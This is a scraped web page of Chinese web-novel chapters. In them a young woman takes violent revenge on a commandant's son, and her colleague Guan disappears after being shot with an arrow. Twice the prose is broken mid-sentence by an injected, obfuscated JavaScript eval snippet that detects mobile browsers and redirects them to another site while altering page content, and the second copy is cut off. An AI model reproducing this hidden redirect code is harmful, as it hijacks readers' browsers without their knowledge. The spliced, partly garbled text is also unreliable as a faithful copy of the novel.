简杰快速上前,拿起桌上一块抹布堵住他的嘴,从食盒取出一根麻绳将他绑结实,随后取出一个麻袋给他套上。 阿四将麻袋塞进了食盒。 一切行动快如电光火石。 阿四和简杰抬起装着周秋雁的食盒顺着廊道出大门。 青绿过了一会才跟了出去,听到廊道上有人窃窃私语:“广聚轩的佳肴,这是哪家点的吃食?”、“啧啧,这一大箱子得花多少银子?” 青绿加快脚步追上简杰与阿四,领着他们沿着河边走了不久,看见前方一片小树林,四周静悄悄地渺无人声,便走了过去。 树林的一旁,是潺潺流动的小河,青绿满意点头,示意二人放下箱子。 阿四掀开箱盖,将麻袋拎出来掼到地上。简杰上去照着麻袋一顿拳脚。 周秋雁在麻袋里挣扎扭动,喊又喊不出挣又挣不脱,只能生生承受。 一盏茶过后,青绿示意简杰停止。 简杰解开袋口,将周秋雁的脑袋扒拉出来。 周秋雁已被揍成个胖猪头,口鼻鲜血直流,脸被憋成了紫酱色,已是半死不活。 简杰扯出他嘴里的抹布。 周秋雁大口大口喘着粗气,用力挣开肿胀的双眼,盯着面前的简杰和阿四看了一会,脸上露出了狰狞之色,厉声喝问:“两个广聚轩的狗奴才,敢绑堂堂太尉之子,不怕被灭族么?识相些放了小爷,包你们……” 未待他说完,简杰向上一扯袋口,将他再次套进麻袋,绑紧袋口,用一根粗长的麻绳绑紧。 阿四一手握麻绳,一手毫不费力地拎起袋子,高高扬起朝河里一扔,噗通一声,麻袋被扔进了水里,随后又被拉出水面。 周秋雁破口大骂:“狗奴才,你们受何人指使?快放了你周爷,否则有你们好看的。” 阿四一松绳子,麻袋沉了下去。 麻袋再次被拉上来,周秋雁还嘴硬:“有能耐通报你等姓名,你周爷到了阴曹地府,保证不找你们祖宗十八代算账。” 如此反复几次,当他又一次被沉到水底再浮出水面之时,只剩下有气无力的求饶:“二位壮士,求你们放了小的,小的愿意用千两白银换自己小命。” 在旁自始至终不发一言的青绿冷冷道:“你这条狗命只值一千两?太便宜了些。” 周秋雁默了默,问:“你是何人?”似乎感到问此话不妥,“二千两,二千两不能再多了,再多便只能求我爹了,惊动我爹不好办。你绑票只图财不害命不是?但求放我一条生路,指个地方,银子一定送到。”把青绿当成绑票的了。 青绿咧嘴一笑:“还算有诚意,上来吧。” 阿四将麻袋扯到岸上,简杰割开麻袋,又割断绑住周秋雁的绳子。 周秋雁全身无力趴在地上,大口往外吐着呛进肚子里的水,末了,翻身闭目死鱼一般平躺在地上,颇有江湖经验地不看说话的青绿,怕被撕票。 青绿手持一根长长的芦苇扫在他脸上,他打了一个喷嚏,睁开眼,目光顺着苇杆一寸一寸往上移,待看到青绿黑白分明的大眼睛及嘴角一抹冰冷微笑时,吓得抽搐一下,将身子蜷缩成一团,气若游丝道:“怎么是你?” 青绿一翻白眼,不屑道:“怎的不能是我?你该问的是,‘你怎么没死’才对。” 青绿伸手,简杰将一个帕子包着的物件递给她。 她手举在半空,盯着周秋雁的眼睛打开帕子,哐啷一声,一个金灿灿的铜鎏金带钩砸在他脸上。 青绿语气轻蔑道,“本姑娘明人不做暗事,死也让你死个明白。” 周秋雁一个翻身,跪在地上朝青绿扣头,哆哆嗦嗦道:“二姑娘饶命,我并不是存心要取姑娘性命,只是因为九年前被姑娘撞到河里,憋了一口气,想教训姑娘一下,让姑娘尝尝落水的滋味,我真的真的没有想过要害死姑娘。” 青绿冷笑:“如此说来,我得感谢你不杀之恩?一个芦苇遮挡得严严实实的池塘,一个弟子们都在上课的时辰,我不小心失足落水,不巧被水草缠住四肢,诺,如同你方才被绳子绑住四肢。不对,我还是得谢周公子,因为不是你想杀我,是水草想杀我,呵呵。” 周秋雁身子激烈颤抖着,不知是冷的还是怕的,他无力地分辨道:“姑娘当年将我撞进水里,我是个旱鸭子,我受的苦不比姑娘少。” 青绿嘲道:“堂堂周公子如此小鸡肚肠,一个五岁的娃娃撞了你一下,且是在大庭广众之中,你好意思提?” 周秋雁道:“大庭广众之下我不要脸的么?” “因为你要脸,便要取我性命?公子这笔账可真会算。” “我说过了,我本意只是教训姑娘一下。” “倘若不是有人恰巧路过将我打捞上来,我早成水鬼了。公子回到现场是想看有否尸体浮上水面吧。唉,与你说话可真累, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672759|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂堂男子,敢做却不敢当,留你性命何用?” 周秋雁满脸绝望地看着她:“姑娘待要如何?” 青绿眨眨眼,好整以暇地看看他:“我不会取你性命,你老子会找我算账,那样我合家不得安宁。但你只吃这么些苦头,我的气消不了,容我想想。” 周秋雁大气也不敢出,眼眸一瞬不瞬地盯着她,此时已看不出他的大小眼,只有肿眼了。 青绿扔掉芦苇杆,拍了拍手,轻松道:“嗯,你也别跪着,坐直身子,看右前方那片芦苇。” 周秋雁老实坐直了身子,不明所以地看一眼芦苇又看一眼青绿。 青绿突然手一扬,一道玄光朝芦苇飞去,一大片芦苇齐刷刷被拦腰折断。 周秋雁吓得目眦尽裂,张大嘴巴却发不出一点声音。 青绿云淡风轻道:“我是睚眦必报的性子,人不犯我,我不犯人;人若犯我,斩草除根。” 她张开左手放在唇边,朝站在不远处的阿四噗地吹了一口气,阿四两眼一闭,仰面倒地。 周秋雁跟着倒地昏了过去。 青绿耸耸肩膀,遗憾道:“不会吧,这便吓死了?”她的本意是亮出些真真假假的绝活,吓唬一下周秋雁,免得他去寻凡高弟弟的麻烦。 她唇角微翘:“阿四哥,别装了,简杰,把姓周的弄醒。” 阿四坐起身,也不说话,只是无声地笑得像个孩童。 简杰拿着抹布到河边吸满水,拧到周秋雁脸上。 周秋雁悠悠醒了过来,直着眼珠子愣愣地盯着青绿。 青绿慢悠悠道:“念在我没死的份上,饶你一命,不过死罪免了,活罪难逃,二千两银子一分不能少,给你十日,过时不候。”她顿了顿,“你给我记住了,我弟弟凡高若在学宫有何不测,不介意再绑你一次,届时便有多少银子也不好使了。” 周秋雁点头如捣蒜道:“不敢,谨遵姑娘所嘱。” 青绿声音冷如冰刀直扎进周秋雁的心底:“你若敢仗太尉之势动凡家人一根毫毛,便等着你爹给你收尸吧。如若不信,你翌日去兰台,凡青绿主簿在兰台恭候。” 周秋雁倒抽一口冷气:“天,你是兰台人,怎不早说?”嗫嚅的声音只有自己能听到,“爹时常告诫,别去惹凡府,别去惹兰台,我却两个都惹上了。” 可怜的周二公子,被山尚学宫的刘哲及兰台的凡青绿混合单打,且又被威胁,回到山尚学宫,整日疑神疑鬼,因又想着,这貌不起眼的凡青绿已然如此了得,那英姿飒爽的薛姝岂不更为可怕?罢了,女人如老虎,惹不起还躲得起。 忍痛舍下薛美人,悄咪咪地退了学,在一个月黑风高之夜,收拾铺盖悄咪咪回到城内太尉家。由此京师少有他的踪迹,据说是被太尉送到玉门关守长城了,又据说是他自个坚决要求的,此是后话。 却说青绿领着阿四和简杰回到芦雪庐的云雾雅间。 青绿让简杰去结了龙井雅间的账,然后三人围桌大块朵颐。 这可是自己白花花的银子买来的,必须好好享受。有句话怎么说来着,犯罪是极大的浪费,甭管犯罪还是浪费,吃就完了。青绿吃得很开心,以茶代酒和阿四干了好几杯,几次进来添茶的美貌茶姬看得为之侧目。 正吃着,便听到四五个人说着话,进了隔壁的龙井雅间。 青绿对茶姬道:“你们这里生意倒是兴隆,才空出的雅间马上便有人了。” 茶姬正提着公道杯续水,手腕轻旋,水流细若银丝落入盖碗,说话的声音亦如清清细流:“姑娘有所不知,我家茶楼一年到头都是满座,年节及冬夏两季,不提前预约都订不到位,许多夷人也慕名前来。” 夷人?青绿心里一动,方才那几人说话,是西域口音。 青绿对茶姬道:“你不必在此伺候了,我们自己来。” 茶姬答应着,躬身行礼出门。 青绿跟在她身后,将门打开一条缝,悄悄听着隔壁的动静。 不一会,便见三名娉娉婷婷的茶姬走了过来,开门陆续走进去的瞬间,青绿听到西域人说了“汉人”、“山上学宫”、“等候”几个词,其中还有女子的声音,随后房门关上,便什么也听不见了。 青绿摇摇头,坐回原位。 51.第五十一章 失踪 刘哲为着大考,终日埋头在经史子集中,学宫内没有了四处晃悠狗眼看人低的仇一段,不见了时常对他恶眼相向的周秋雁,刘哲觉得轻松了许多。 此刻,他正看着《尚书?大禹谟》,看到其中一句“刑期于无刑”,忽然想起老千给弟子讲经文时,其中也有此句,只是后者用的是“刑期于无形”。 他沉吟片刻,决定记录下来,有机会问问老千。拿起笔才发现没墨了,四处翻查一遍,墨锭用完了,便决定到礼尚街买一些,顺带买几支笔,笔也磨秃了。 “爷爷,我找小刘。”一个稚嫩清脆的童音在云溪阁门外响起。 门房老耿慈祥的声音:“小丫头,你找哪个小刘?我们这有好几个姓刘的。” “我家小刘。”小姑娘一字一顿地答道。 老耿缺了门牙的嘴有些漏风,吐字不清却分明带着笑意:“嘿嘿,丫头,《三字经》怎么念来着?人字拖,姓本善,姓相近。唉,有姓‘本善’的,也有姓‘相近’的,没听说有姓‘我家’的。” “爷爷你念错了,是‘人之初,性本善,性相近,□□’,不是姓‘本善’、姓‘相近’,还人字烂拖鞋。哎,没文化真可怕。”小姑娘有些着急。 刘哲迎出来,却见与朵朵一道来的,还有绰号为算你狠的吴雅童。 刘哲上前笑问:“朵朵,何事?” 一见刘哲,朵朵的小眼睛小嘴成了弯弯的月牙:“小刘,娘让我给你送鸡蛋。”说着递上一个小兜。 刘哲忙接过来道:“谢谢师娘,让她不必这么费心,我很好。”见吴雅童拿着一条麻袋,“你们要出门?” 朵朵道:“我们到街上买些米糠,娘说小鸡只吃虫子和草不行,要拌些米糠。” 她与吴雅童合伙在自家后院养了十只小鸡,朵朵出场地,吴雅童出小鸡,准备养大了拿去卖。据吴雅童说是一个富婆姐姐的建议,鸡生蛋蛋生鸡,会越滚越多。 自从后院有了八只小鸡,两个小家伙倒也尽心尽力,每日下学后便去挖蚯蚓逮虫子捡草籽,抢着清理鸡粑粑。 刘哲带着俩小人到了礼尚街,买好笔墨和米糠,回去的路上,经过一个牛肉馆,门前一口大锅煮着牛头汤,香气四溢,馋得俩小人挪不开步子。 刘哲的肚子也响了起来,他摸了摸内衣口袋,那里有昨日才从老千手里领到的三两抄书费。一咬牙,决定带他们吃顿荤的,只当犒劳一下自己用功过度。 三人进馆子要了一个小包间,点了一锅清炖牛肉,一大盘玉米面饼子。 此时未到用膳时间,点的吃食上得很快。 三人狼吞虎咽之间,突然,一名身材高大的胖男子闯了进来,他捂着左胸,目光凌厉地扫了三人一眼,脸上闪过一丝犹豫,转头似乎想离开,身子却靠着门框软软地滑落到地上。 三人均被吓了一跳。 刘哲定定神,上前问道:“你怎么了?” 俩小人吓得躲到他身后,吴雅童声音哆嗦道:“我们吃肉给钱了么?” 朵朵双手扯着刘哲后衣襟小声道:“小刘,我怕。” 刘哲回头安慰道:“没事,别怕。”靠近胖男子,“我能帮你做甚?” 胖男子有气无力道:“有人追杀我,让我躲一躲。” 刘哲见他服饰华贵,目光锐利却并无杀机,不像是杀人越货的强盗,鬼使神差般点了点头。 他看看狭窄的包厢,墙角处摞着一张旧桌子及几把椅子,便把椅子移开,半拖半抱着把男子移至桌底下,用椅子挡着,再把方才购买的一麻袋米糠放在椅子上。角落光线偏暗,若不进来翻查是看不出藏了人的。 做完这一切,他对俩六神无主的小人道:“现在,你们听我的,都别慌,一会有人进来问话不用答他,只管吃你们的。” 朵朵带着哭腔小声道:“小刘,我想回家。” 吴雅童握住她的小手,抖着声音安慰道:“别怕,刘哥哥有剑。” 不一会,几名士卒来到门口,伙计替他们掀起帘子。 刘哲背对着门口,语气轻快地正在对俩小人道:“让你们好好念书没错吧?娘说了,下回你们俩都考第一,便到城里的九珍堂搓一顿,那里的炸猪蹄子最好吃。” 俩小人脸埋在大碗里,一边喝汤一边拼命点头。 领头的士卒问:“你们可有看见生人来过?” 俩小人使劲摇头。 刘哲回过头来,脸上一副莫名其妙的神情:“何人?没看见。” 士卒们退了出去,伙计跟在他们身后絮絮叨叨:“官爷,我都说了,没有生人进来,都是熟客。” 刘哲松了一口气,待要安慰一下俩小人,又有四五名持刀握剑的黑衣男女闯了进来,为首的女子凶巴巴地看看满脸疑惑的刘哲及瞪大了眼睛的俩小人,扫了一眼室内各处,一言不发扭头便走,其余人相跟着也走了。 门外传来男子的声音:“大当家,你为何不问问几个孩童?” 女子道:“有啥好问的,这巴掌大的地方,这几个傻不拉叽的小人以为我们是来抢他们吃的呢。” 另一个男子道:“他中了我一箭,跑不远。” 女子道:“让几个兄弟分头守在各医馆。这条街上有几个医馆?” “不多,三个,最拿手的绝活是治花柳病。”男子不无调侃。 店小二断断续续的声音:“还有完没完啊,都说没人来过了,还如何做生意啊,关门得了。” 此时已是晚膳时间,食客增多,人来人往甚是热闹。 刘哲站在窗边静静地看了一会大街上的动静,回过头来对吴雅童道:“你注意看着门口,如伙计进来你想法子拦住他。” 吴雅童点头:“刘哥哥,就像刚刚那样,我不怕。” 刘哲过去移开椅子,胖男子脸色苍白靠在墙上,捂在左胸的手耸拉下来,他胸前赫然是一支折断了箭杆的箭头,箭头周围衣裳上有渗出的干涸血渍。 刘哲皱眉问:“你是何人?” 男子虚弱道:“我姓管,你替我找辆车……”话未说完,头一歪昏了过去。 吴雅童神情暗淡,垂眸对朵朵小声道:“我娘嫁的那个男人也姓管,听说是个大胖子,我没见过,不想见,我想娘了就到老房子待一宿。”摇摇头,“不会这么巧,菜市口的卖菜婶说我娘嫁的是个顶大的官,大官怎会被人追杀呢?只有他追杀别人吧。” 朵朵眼神忧郁地对他表示了同情。 刘哲用桌椅继续挡住胖男子,嘱咐吴雅童:“如有人问起,便说哥哥去结账了,尽量不要让人进来。“ 吴雅童镇定地拍拍小胸部:“刘哥哥,你去吧,这里有我。” “小刘,你要快点回来。”朵朵急道。 刘哲摸摸她的小脑袋:“放心。” 刘哲到柜台结完账,问伙计:“茅厕在何处?” 伙计朝走廊东头指了指:“诺,那边是后门,边上便是。”一般茅厕都建在后门边上。 刘哲快步出了后门,走不多远,便是一家名为来宾客栈的后门,之前他进饭馆时,不经意看见近邻的这家客栈,当时还想着这客栈真会选址,客人迈腿走几步便解决肚子问题了。 他想,刚才那两拨人肯定都搜过这个客栈了,应该是安全的。 刘哲回到牛肉馆,到柜台问掌柜:“店里有啥酒?” 掌柜道:“我家自酿的烈酒,小孩子不好喝的。” 刘哲道:“出门时师傅嘱咐我给他带壶酒,差点忘了。” 掌柜从身后的柜子上取下一个小坛子递给刘哲:“五十文,好喝下次再来。” 刘哲回到包厢,见胖男子仍昏迷着,便从桌上拿了一碗放凉的茶水朝他脸上泼去,过了一会,男子悠悠醒转。 刘哲道:“我们得离开此处,你能走么?” 姓管的胖子挣扎着坐起来,长吐出一口气,咬牙道:“还行,死不了。”嘴一咧似乎想笑,却痛得嘴角抽搐,脸上现出两个又圆又大的酒窝。 刘哲打开酒坛,将酒泼在他身上,顿时一股浓烈的酒味熏得俩小人打了几个喷嚏。 朵朵看见胖男子胸前的断箭,伸手想拔:“这个让人看见不好。” 刘哲忙拦住她:“万万不可,拔出来血便无法止住了。” 朵朵吓得小脸煞白。 刘哲脱下自己的长衫给胖男子披上,无奈他太胖,挡不住前胸的箭头,刘哲只好将长衫改围脖挂在他脖子上,好歹遮住了。 刘哲叮嘱俩小人在雅间老实呆着等他回来,便半扶半抱着胖男子出了包厢。 所幸正是饭点,各雅间传出吆五喝六的声音,热闹非凡,走廊上却空无一人,只在走出后门的瞬间,端着菜盘送菜的伙计热情地朝他们的背影喊了一嗓子:“客官慢走,下次再来。” 此时暮色四合,从饭馆到客栈短短一段小路,刘哲使出了吃奶的劲,几乎是拖着男子往前走,一双长腿抖的厉害,不由气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘哲看郭寿的窗户透着烛光,没敲门便闯了进去,对一脸惊愕的郭寿道:“学长,请随我去礼尚街救一个人。” 郭寿二话不说,取出药箱放进书囊便随刘哲朝外走,边走边道:“你不在外面的医馆请大夫,肯定是不想让人知道。” 刘哲心里涌上一股热流。 连续两日,青绿都没见着管胖子,他不在,东院便只剩下鸟叫虫鸣,青绿像只鹌鹑乖乖躲在书房里,绝不敢独自招惹瓜老头。 但她总觉着气氛有些说不出的诡异,之前管胖子也有好几日不在的情况,所有人都会心照不宣地认为他领旨办差去了,但这次,连西院也有人在问管胖子怎没来。 这两日,左曹掾第五格频繁出入瓜老头书房,这是一位相貌平平的青年男子,脸盲如青绿便算与他照面一十八回都记不住他的长相。 以前听管胖子唤他第五格,便恭恭敬敬唤了他一声五哥。 管胖子皱眉:“好个蠢丫头,第五是姓,格是名。” 第五格心平气和地笑笑。 青绿极其认真地看着他,妄图记住他的脸。 然并卵,看到的是极其大众的长相:中等身材,不胖不瘦,长圆脸上五官一样不缺,牙齿也是一颗不少。与众不同的,便是与他对视的瞬间,感觉他的眼底藏着一种透视一切的睿智和冷凝,让人心底发凉,再看,却又风平浪静,甚至带有年青人不常有的疲惫。 青绿问管胖子:“你是如何做到在人堆里一眼认出第五格的?” 管胖子逗她:“你要一眼认出他做甚?别让他一眼看穿你便好。别打嫁他的主意,他不是你的菜。“ 青绿黑脸,伸脚踢他。 管胖子躲闪:“别踢,我好心提醒你。左曹掌刺探情报,诛异类,训练暗卫及谍子,又称飞谍处。”他张开两手做蝴蝶飞舞状,臃肿的身子转动得甚是灵活,甚至有些妖娆。 青绿噗呲笑出声来。 青绿两日来注意到第五格,是因为他日常十分平和的脸色含了一丝狰狞,不浓不淡的平眉拧成了川字形,如同蚯蚓爬伏额头。 青绿初时不敢问,最终忍不住,守在西门处,待他再次从瓜老头书房出来后,截住他问:“出了啥事?是管师兄么?” 第五格平静地看她一眼,不声不响绕开她走了。 青绿问了个寂寞,其实她也知道是这个结果,兰台人嘴上都挂着锁,休想从嘴里露出一句半句。 52.第五十二章 失踪 青绿悻悻然归家。 阿四骑马寸步不离地跟着她的马车,暗卫改成明卫了。 惹得小北几次掀帘看着马背上一身黑色紧身衣,腰背挺直如松的矫健身姿,忍不住问青绿:“姑娘,为何有帅哥随时供你差遣?” 简杰语气里满是自豪:“你懂啥,这是守护二姑娘的暗卫阿四哥。”他与阿四共同将某人凑成猪头。 小北瞪简杰:“我不懂,你懂,宫里既派了暗卫,便是怕某人护不了姑娘呗。” 简杰无言以对。 小北又道:“阿四哥一看便是身手了得,他不笑的时候真好看,姑娘,以前怎的没见你提起?” “提起又咋滴,你要嫁他么?”简杰酸溜溜道。 “我嫁不嫁,嫁与何人,姑娘说了算,你管不着。我便觉着姑娘身边的人都该是帅哥,姑娘看着开心,是吧,姑娘?”小北涨红了脸道。 青绿被她逗乐了:“对,开心,也不知是谁,看见帅哥便借着我的名号往前扑。” 小北急眼了:“是妹娘吩咐的,说我时常跟着姑娘,只要有帅哥与姑娘搭讪,宁可错扑一千不可放过一个,务必打听清楚了,她老人家好上门相看。” 青绿乐不可支。 简杰醋意难消:“分明是自己花痴,却赖在姑娘头上。” 论打嘴仗小北不是简杰的对手,她扭头对青绿气急败坏道:“姑娘,既有阿四哥,他便不必再跟着了,家里大把杂活等着他干。” 青绿有些疑惑:“杂活?”扈从一般不安排杂活。 小北捏着纤细的嗓音道:“麻花动不动便唤他‘简哥你替我吃了这块肥肉,我吃不下’、‘简哥你帮我拿根绳子,我要晒被子’,哼,我听着是‘拿根绳子我要勒脖子’,某人却上赶着去帮忙。” 简杰脸上如同被泼了一盆猪血,不敢答话。 马车停在约素园大门,青绿想了想,心里不踏实,对小北和简杰道:“我得回宫,嗯,你们下去吧,往后也不用跟着我了。” 简杰急道:“姑娘你别听小北瞎说,我若不跟着姑娘,简大总管会打断我的狗腿。” 小北也急:“我不跟着谁侍候姑娘?” 青绿下巴朝外扬了扬:“都下去吧,阿四护我一个尚可,多你们反而碍事。” 小北噘着嘴与简杰先后下了马车,麻二将马缰绳递给阿四。 小北瞪着简杰恶狠狠道:“都是你。” 简杰抗议:“是因为你要赶我走,这下好了,你也甭想出门了。” 暮色降临,兰台灯火通明,青绿踏进东院,看着瓜老头书房透出的灯光,鼓足勇气上前敲门。 门内并无动静,瓜老头的做派,从不回应门外的声音,敲门只是让他知道有人要进去了,故青绿一般都会交代来访者敲完门直接入内。 曾经有官员前来拜访,而青绿恰巧不在,官员敲门后,忐忑在门外候了半个时辰,生生将自己守成了一尊望瓜石。 青绿硬着头皮朝坐在桌前对着几本摊开的文书的瓜老头小心道:“中丞,这一季的瓜长得忒好,又大又长,过得半旬便……” 瓜老头阴恻恻地打断她的话:“有事说事。” 她咽了口唾沫,鼓足勇气道:“管师兄出了何事?” 瓜老头并不答话,抬起皱褶千层的眼皮,目光锐利看了她好一会。 青绿被看得心里发毛,自觉赶上慧妈妈用清水发了三日的豆芽。不由腹诽:凡主簿死后盖棺定论,墓碑上所刻死因,必须是“被上司目光剐杀”。 却又心生感慨:我一小屁民没做亏心事,在他面前都不自觉地心虚,心里有鬼的官员进了小黑屋,还不得七魂丢了六魄?能抗住高压实属不易,能剩一口气抬出来的也算是意志坚强了。 她的手心沁出了汗水,脸上却硬撑着,一双坦荡清澈的明眸毫不退缩地看着瓜老头。 瓜老头收回冷凛目光,语气冰凉道:“知道得越多,死得越快。”起身朝外走。 青绿连忙小跑着跟在他身后:“我只想知道管师兄怎么了?” 瓜老头径直朝前走,似乎身后并没有她这个人,却又冷冷对着前面的空气道:“只会提问题而无答案的下属,非蠢即笨。” 青绿晚膳本就吃得不多,此刻被噎出了饥饿感,把心一横,跨到瓜老头右侧问:“是因为西域之行么?”她想起管胖子所说附近有身份不明的西域人出现。 瓜老头两手负后,转过头冷冷瞅她一眼,似乎没有阻止她继续往下说的意思。 青绿正要开口。 第五格满头大汗奔到瓜老头面前,看见青绿在旁,欲言又止。 瓜老头止步,瞥他一眼道:“说,何事?” 第五格简明扼要道:“飞谍打探到的消息,两日前管绣衣在礼尚街上出现过,当时有两拨人追他,一拨是说话带西域口音的江湖人士,一拨是北军着装的卫卒。” 当朝以太尉主武事,但太尉不掌军权。戍守都城的禁军由卫将军辖下的光禄勋、卫尉、执金吾等三大戍卫之臣执掌。 光禄勋掌宫殿内宿卫,率郎官贴身护卫皇帝,并负责后宫安全;卫尉掌宫城护卫,负责皇宫昼夜巡警与门籍查验,其部因驻屯城南宫城,故称南军;执金吾掌京师护卫,负责宫城之外、京师之内的守卫,其部因驻屯城北,故称北军。 光禄勋、卫尉位列九卿,秩中二千石,执金吾虽不在九卿之列,秩阶也是中二千石,与九卿平级。 瓜老头两眼看着暗沉的天空,沉吟道:“礼尚街,北军。” 第五格继续道:“属下查过北军当日巡行的路线,其中确有礼尚街,当时有一伙贼人在礼尚山邻峰一带出没,北军一名姓卞的副校尉领命追击,没追上。但卞副校尉翌日继续追踪时,失足掉下山崖,当场没了。” “干得利索。”瓜老头语气如含寒冰。 “方才在北郊发现了跟随管绣衣的暗卫的尸体。” “这么大的动静,谍子为何今日才查到踪迹?” “因发现有可疑僧人入京,那一片的谍子前日被管绣衣调往西面。” 管胖子的官职为兰台御史丞,位仅次于御史中丞,但因他常奉旨以绣衣侍御史身份办差,兰台人皆尊称他管绣衣。 瓜老头与第五格一问一答,第五格神色如常,声调一如既往地波澜不惊,青绿却瞥见他的双手不易察觉地慢慢握成了拳头。 青绿暗道:我便说嘛,能够站在瓜老头面前脸不变色心还跳的人,除了脸上脂肪厚过血脉的管胖子不会有第二个。 瓜老头的脸色越加阴霾,连语气都变得十分阴沉:“派暗卫在礼尚山一带多巡几遍,活要见人,死要见尸。”说至此处,他的话音戛然而止。 青绿的目光越过他的肩膀朝他身后看去,一个一跛一拐的身影急促朝他们走来。 陆叔迎着瓜老头猎犬般的目光站稳身子,急促道:“陛下宣中丞大人即刻到清凉殿。” 熙元帝日常在承明殿处理政务,如今天气炎热,便移到了清凉殿。 瓜老头微微点头,并未移步,目光仍定定看着陆叔。 陆叔略微喘了一口气,尽量以平缓的语气道:“抓进来的几名可疑人员,不管如何用刑,均说没有见过管绣衣,有两名熬不过,死了。” 兰台监狱设在宫外的御史府,由后曹负责管理,用于临时关押尚未定罪的作奸犯科者,定罪后便移至中央长安狱。 后曹掾才升迁不久,空缺尚未补上,故暂由后曹御史属陆叔代管。 兰台内一直都有猜测,陆叔接掌后曹掾是笼中抓鸟,十拿九稳。 瓜老头哼道:“废物。”大踏步出了西门。 被晾在原地的三人面面相觑。 第五格道了一声“失陪”,亦快步离去。 陆叔尴尬地笑着安慰青绿:“姑娘别急,管绣衣吉人自有天相,多少大风大浪他都过来了,反而在自家门前栽倒不成?” 青绿略感心安,又问:“往常管师兄也有过类似情况么?” “唉,做御史的哪个没有遇到过?诺,我这条腿便是在办案时被打断的。”他喃喃自语,“御史是孤臣。孤臣,从来都没有好下场。” “陆叔也做过御史?”话一出口,青绿便觉自己问得多余,兰台藏龙卧虎之地,哪位侍御史不是功勋累累。 “做了不到两年,腿便折了,不提也罢。”陆叔语气不无酸涩。 青绿忙道:“抱歉,是青绿无礼了。”心里十分懊恼,好好的捅别人的痛穴做甚。 陆叔摆摆手:“无妨,只是提醒姑娘,一定要小心谨慎,无事不要到处乱跑,你一个小姑娘,办案是大老爷们的事。” 青绿感激地点头道:“记住陆叔的话了,现在我能为 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青绿与阿四不走惯常出入的北司马门,而是悄咪咪出了西司马门,在外面换了一身行头,青绿仍然做小子打扮,在街市上租了两匹马,与阿四快马加鞭在城内绕了一下,看看身后无可疑之人,方走小道到了万客绸缎庄的后门。 青绿和阿四才下马,两名伙计迎上来含笑作揖。 一个道:“二位客官的马交给小的便可。” 另一个道:“客官请随我来。” 青绿将宫内的令牌在他面前一晃,对他道:“我找万庄主。” 伙计抬眼打量了她一下,将他们带到后院,躬身道:“二位请稍候,我去请纸鸾姐姐。” 一名明目皓齿,粉色襦裙裹着丰满婀娜身段的圆脸美人施施然而来,赫然便是先前去西域时见过的那位美人。 纸鸾朝青绿盈盈施了一礼,未语先笑:“客官,我们又见面了,可是与万爷有约?” 青绿从怀里掏出令牌递给她,道:“我乃兰台主簿凡青绿,有急事面询万庄主,请纸鸾姐姐通传一声。” 纸鸾接过令牌只看了一眼,便将其交回给青绿,道:“请随我来。” 领着二人上了二楼,在东面尽头一间紧闭着的房门前,纸鸾欠了欠身:“主簿请稍后,待我入内禀报。” 片刻功夫,复出对青绿躬身道:“请”。 待青绿进去后,将房门轻轻合上,转向阿四微微一笑,“请随我这边喝茶。” 青绿踏进房中,迎面一架白玉屏风挡住视线,看不见室内情形,却闻淡淡药香,不由眉头轻蹙,主人身体不适? 待她转过屏风,一只鸟突然从高处俯冲到她身侧的一根悬挂着的横杆上,朝着她大喊:“你有病。” 青绿被吓得退后几步,待看清是一只尾羽极长,通体雪白,头顶嫩黄色头冠的凤头鹦鹉,又气又笑,翻了翻白眼回骂道:“你才有病,你全家都有病。” 鹦鹉一见有人搭腔,兴奋得上下翻飞,大喊:“你才有病,你全家都有病。” 便听有人道:“葵花,不得无礼。”声音柔和如雪夜里一杯热茶散发出的袅袅暖气。 鹦鹉瞬间闭嘴,乖乖在杆子上立定,只是一双眼睛仍在咕噜噜转动着看向青绿。 青绿循声看去,一名青年公子端坐在临窗的高靠背黄花梨官帽椅上,阳光斜照着他俊秀出尘的脸,眉眼偏柔,一双凤眸波光潋滟,长长的淡青色的发丝从官帽椅上垂下,更将他苍白的脸衬得无任何血色。 青绿大吃一惊,这青年公子不符合他的万客绸缎庄大佬形象啊,腰缠万贯的庄主,不应该是如管胖子一般脑满肠肥的中年汉子么?怎么却似屡考不中的孱弱书生?难怪他名为万去病。 万去病指着另一张官帽椅对青绿道:“主簿请坐。”拿起桌上一个精巧茶壶,将青绿面前的茶盏倒满,做了个“请”的手势,自己却端起桌上的一碗冒着热气的淡褐色汤药道:“主簿请自便。” 青绿看一眼他椅子上不合时宜地铺着的大红金钱蟒靠背,忙道:“不知万庄主身体抱恙,是青绿冒昧了。” 万去病自嘲一笑:“我这是娘胎里带出来的热症,日常用药比用膳还多,主簿不要见怪。”他捧着药碗放在唇边,想了想,抬眼望向青绿:“主簿到此,想问何事?” 青绿实诚道:“我师兄管仲书已经失踪了三日,他可曾来过此处?” 53.第五十三章 妇人 万去病并不急于回答青绿的问题,而是捧着药碗喝了一口,皱眉放下,用丝帕抿了抿唇角,才抬眸看着她道,“你问管爷?他时常照顾绸缎庄生意,从不讨价还价,一来二去,自然有些私交,有上好的料子会给他留着,也替他出手一些拿来的稀罕物。” 一番话滴水不漏,把关系撇得干净,仅和管胖子有生意来往而已。 青绿知道无法从他这里得到任何消息,脸上难掩失望之色:“上次回京,管师兄并没有马上回家,说是要到万客绸缎庄,让万庄主给他淘的物件掌掌眼,我想着师兄应该与庄主交好,故到此问问。” 她这番话说得也算婉转,既解释了她并非鲁莽而入,又让万去病明白,她相信他与管胖子之间的关系是纯粹的生意伙伴。 沉默片刻,青绿放下茶盏,起身道,“既然如此,便不打扰了。” 